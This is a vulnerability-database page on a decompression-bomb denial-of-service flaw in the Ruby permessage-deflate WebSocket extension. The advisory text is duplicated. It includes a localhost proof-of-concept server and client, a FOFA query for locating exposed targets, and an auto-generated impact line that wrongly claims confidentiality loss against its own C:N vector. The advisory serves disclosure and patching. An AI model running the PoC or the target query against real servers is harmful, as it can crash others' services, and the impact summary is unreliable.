CVE Professor
/
All CVEs
CVE-2026-140011

CVE-2026-140011 — Faye Permessage-deflate-ruby (< 0.2.0) — CWE-409

HIGH CVSS 7.5 ⚡ EPSS 1.0% CVE.org

### Summary An unauthenticated remote client can cause a server to allocate memory with a much larger size than the message sent over the wire, potentially bypassing configured message size limits. This may cause the server to run out of memory and crash. ### Details [permessage-deflate][pmd-ruby] is used to add support for [compression extensions][pmd] to [websocket-driver][wd-ruby], [faye-websocket][fw-ruby] and other libraries based on these packages. A client with this extension activated can compress a very large message consisting of one byte repeated many times to around 1/1,000 of its original size before sending it to the server. Upon receiving such a message, the server will decompress it, and thereby allocate a buffer 1,000 times larger than the received WebSocket frame. The client may abuse this to cause the server to allocate such much that it runs out of memory and crashes. This is possible even if the client is using the most conservative possible parameters for the extension in terms of minimising `zlib` memory usage. If a `:max_length` option has been set by [websocket-driver][wd-ruby] or [faye-websocket][fw-ruby], this is not passed on to the [permessage-deflate][pmd-ruby] extension. The extension fully decompresses the received message, and only after this has happened does [websocket-driver][wd-ruby] decide whether the message is too large. To mitigate this, [permessage-deflate][pmd-ruby] has been updated to accept the `:max_length` option and enforce this as it consumes the `zlib` inflate output stream. For this to take effect, [websocket-extensions][we-ruby] and [websocket-driver][wd-ruby] must also be upgraded in order to forward the `:max_length` option to the extension. Alternatively, the vulnerability can be mitigated by removing the [permessage-deflate][pmd-ruby] extension from the server configuration. [pmd]: https://tools.ietf.org/html/rfc7692 [pmd-ruby]: https://github.com/faye/permessage-deflate-ruby [we-ruby]: https://github.com/faye/websocket-extensions-ruby [wd-ruby]: https://github.com/faye/websocket-driver-ruby [fw-ruby]: https://github.com/faye/faye-websocket-ruby ### Proof of concept A server is affected by this if it is running any WebSocket processing stack that includes this extension. For example, the following server uses the extension via `websocket-driver` with `max_length` set to 1 MiB. ```rb require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection def initialize @driver = WebSocket::Driver.server(self, :max_length => 1 << 20) @driver.add_extension(PermessageDeflate) @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env } @driver.on(:close) { |ev| close_connection_after_writing } @driver.on(:message) { |ev| p [:msg, ev.data.bytesize] } end def receive_data(data) p [:io, data.bytesize] @driver.parse(data) end def write(data) send_data(data) end end EM.run { EM.start_server('127.0.0.1', 8000, Connection) } ``` A client can trigger a larger than expected allocation by sending a message that is larger than the server's configured `max_length`, for example: ```rb require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection attr_accessor :url def connection_completed @driver = WebSocket::Driver.client(self) @driver.add_extension(PermessageDeflate) @driver.on(:open) { |ev| @driver.binary("\x00" * (4 << 20)) } @driver.on(:close) { |ev| p ev } @driver.start end def receive_data(data) @driver.parse(data) end def write(data) send_data(data) end end EM.run { url = 'ws://127.0.0.1:8000/' uri = URI.parse(url) EM.connect(uri.host, uri.port, Connection) do |conn| conn.url = url end } ``` Running this client will cause the server to print that it received 4,089 bytes, but did not emit a message event, and the client exits with this close event: ``` #<struct WebSocket::Driver::CloseEvent code=1009, reason="WebSocket frame length too large"> ``` Although the server rejects the message as too large, it will in fact have inflated it to its full size of 4 MiB before making this decision. After installing the patched release(s), the client will instead print: ``` #<struct WebSocket::Driver::CloseEvent code=1009, reason="permessage-deflate: WebSocket frame length too large after decompression"> ``` The changed error message indicates that the extension is rejecting the message after `max_length` bytes have been output by `zlib`, and it stops consuming the output stream before the message is fully inflated. ### Impact Users running `permessage-deflate` on a server in a memory-constrained environment may be at risk of denial of service that can be triggered by an unauthenticated remote client. Users should upgrade packages as indicated by this advisory, or remove `permessage-deflate` from their configuration.

### Summary An unauthenticated remote client can cause a server to allocate memory with a much larger size than the message sent over the wire, potentially bypassing configured message size limits. This may cause the server to run out of memory and crash. ### Details [permessage-deflate][pmd-ruby] is used to add support for [compression extensions][pmd] to [websocket-driver][wd-ruby], [faye-websocket][fw-ruby] and other libraries based on these packages. A client with this extension activated can compress a very large message consisting of one byte repeated many times to around 1/1,000 of its original size before sending it to the server. Upon receiving such a message, the server will decompress it, and thereby allocate a buffer 1,000 times larger than the received WebSocket frame. The client may abuse this to cause the server to allocate such much that it runs out of memory and crashes. This is possible even if the client is using the most conservative possible parameters for the extension in terms of minimising `zlib` memory usage. If a `:max_length` option has been set by [websocket-driver][wd-ruby] or [faye-websocket][fw-ruby], this is not passed on to the [permessage-deflate][pmd-ruby] extension. The extension fully decompresses the received message, and only after this has happened does [websocket-driver][wd-ruby] decide whether the message is too large. To mitigate this, [permessage-deflate][pmd-ruby] has been updated to accept the `:max_length` option and enforce this as it consumes the `zlib` inflate output stream. For this to take effect, [websocket-extensions][we-ruby] and [websocket-driver][wd-ruby] must also be upgraded in order to forward the `:max_length` option to the extension. Alternatively, the vulnerability can be mitigated by removing the [permessage-deflate][pmd-ruby] extension from the server configuration. [pmd]: https://tools.ietf.org/html/rfc7692 [pmd-ruby]: https://github.com/faye/permessage-deflate-ruby [we-ruby]: https://github.com/faye/websocket-extensions-ruby [wd-ruby]: https://github.com/faye/websocket-driver-ruby [fw-ruby]: https://github.com/faye/faye-websocket-ruby ### Proof of concept A server is affected by this if it is running any WebSocket processing stack that includes this extension. For example, the following server uses the extension via `websocket-driver` with `max_length` set to 1 MiB. ```rb require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection def initialize @driver = WebSocket::Driver.server(self, :max_length => 1 << 20) @driver.add_extension(PermessageDeflate) @driver.on(:connect) { |ev| @driver.start if WebSocket::Driver.websocket? @driver.env } @driver.on(:close) { |ev| close_connection_after_writing } @driver.on(:message) { |ev| p [:msg, ev.data.bytesize] } end def receive_data(data) p [:io, data.bytesize] @driver.parse(data) end def write(data) send_data(data) end end EM.run { EM.start_server('127.0.0.1', 8000, Connection) } ``` A client can trigger a larger than expected allocation by sending a message that is larger than the server's configured `max_length`, for example: ```rb require 'eventmachine' require 'websocket/driver' require 'permessage_deflate' module Connection attr_accessor :url def connection_completed @driver = WebSocket::Driver.client(self) @driver.add_extension(PermessageDeflate) @driver.on(:open) { |ev| @driver.binary("\x00" * (4 << 20)) } @driver.on(:close) { |ev| p ev } @driver.start end def receive_data(data) @driver.parse(data) end def write(data) send_data(data) end end EM.run { url = 'ws://127.0.0.1:8000/' uri = URI.parse(url) EM.connect(uri.host, uri.port, Connection) do |conn| conn.url = url end } ``` Running this client will cause the server to print that it received 4,089 bytes, but did not emit a message event, and the client exits with this close event: ``` #<struct WebSocket::Driver::CloseEvent code=1009, reason="WebSocket frame length too large"> ``` Although the server rejects the message as too large, it will in fact have inflated it to its full size of 4 MiB before making this decision. After installing the patched release(s), the client will instead print: ``` #<struct WebSocket::Driver::CloseEvent code=1009, reason="permessage-deflate: WebSocket frame length too large after decompression"> ``` The changed error message indicates that the extension is rejecting the message after `max_length` bytes have been output by `zlib`, and it stops consuming the output stream before the message is fully inflated. ### Impact Users running `permessage-deflate` on a server in a memory-constrained environment may be at risk of denial of service that can be triggered by an unauthenticated remote client. Users should upgrade packages as indicated by this advisory, or remove `permessage-deflate` from their configuration.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.0%
30-day probability
In the 65. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-140011
CVSS 7.5/10 · HIGH · 30.11.2026
CWE: CWE-409
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Summary: ### Summary

An unauthenticated remote client can cause a server to allocate memory with a much larger size than the message sent over the wire, potentially bypassing configured message size limits. This may cause the server to run out of memory and crash. ### Details

[permessage-deflate][pmd-ruby] is used to add support for [compression extensions][pmd] to [websocket-driver][wd-ruby], [faye-w…
Affected: faye permessage-deflate-ruby, faye permessage_deflate, faye websocket-driver, faye websocket-extensions

⚡ ATTACK VECTOR
Network / Remote (AV:N) · no authentication required (PR:N) · no user interaction (UI:N) · low attack complexity (AC:L).

🌍 REAL WORLD IMPACT
Partial confidentiality disclosure (C:L); service can be completely taken down.

🛡️ REMEDIATION
→ Apply vendor security update for faye permessage-deflate-ruby.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
⚠️ This week (7 days) — High risk, anonymous remote.

────────────────────────────────────────
[Automated Technical Vulnerability & CVSS Vector Analysis]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="faye permessage-deflate-ruby"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-409
Affected Products (4)
faye:permessage-deflate-ruby (< 0.2.0) faye:permessage_deflate (< 0.2.0) faye:websocket-driver (>= 0.5.0, < 0.9.0) faye:websocket-extensions (< 0.2.0)
References & Advisories (4)
Related CVEs
7.5
CVE-2026-144295
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.3, a server wit
5.9
CVE-2026-142020
Response.iter_lines() and Response.aiter_lines() in httpx2 buffered decoded text without any limit on the leng
7.5
CVE-2026-76813
CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.111, makeCkanRequest fetch
6.5
CVE-2026-142501
libheif 1.19.0 before 1.23.6 contains a CPU exhaustion vulnerability in the uncompressed (unci) codec that re-
5.9
CVE-2026-142228
Encode httpx through 0.29.0 contains an unbounded decompression vulnerability that allows malicious servers to
5.9
CVE-2026-142242
JJWT through 0.13.0 contains an unbounded decompression vulnerability in DefaultJwtParser that allows unauthen
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner